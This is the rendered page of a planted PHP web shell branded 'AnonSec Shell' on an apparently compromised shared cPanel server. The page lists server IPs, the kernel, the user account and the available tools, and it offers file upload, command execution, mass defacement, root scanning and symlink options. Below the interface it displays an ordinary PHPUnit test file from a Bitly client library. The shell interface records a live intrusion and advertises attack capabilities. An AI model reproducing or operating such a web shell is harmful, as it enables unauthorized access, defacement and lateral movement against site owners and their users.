AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/vendor/narendravaghela/bitly-client/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/vendor/narendravaghela/bitly-client/tests/BitlyClientTest.php
<?php

namespace Test;

use Bitly\BitlyClient;
use PHPUnit\Framework\TestCase;

class BitlyClientTest extends TestCase
{
    /**
     * testConstructor method
     *
     * @return void
     */
    public function testConstructor()
    {
        $bitlyClient = new BitlyClient();
        $this->assertTrue(is_a($bitlyClient, 'Bitly\BitlyClient'));
        $this->assertEmpty($bitlyClient->accessToken());
        unset($bitlyClient);

        $token = 'access-token';
        $bitlyClient = new BitlyClient($token);
        $this->assertEquals($bitlyClient->accessToken(), $token);
        unset($bitlyClient);
    }

    /**
     * testCallFunction method
     *
     * @return void
     */
    public function testMissingToken()
    {
        $this->expectException(\Bitly\Exception\MissingAccessTokenException::class);
        $bitlyClient = new BitlyClient();
        $bitlyClient->info();
    }

    /**
     * testInvalidMethod method
     *
     * @return void
     */
    public function testInvalidMethod()
    {
        $this->expectException(\BadFunctionCallException::class);
        $bitlyClient = new BitlyClient('access-token');
        $bitlyClient->wrongApiMethod();
    }
}

Anon7 - 2022
AnonSec Team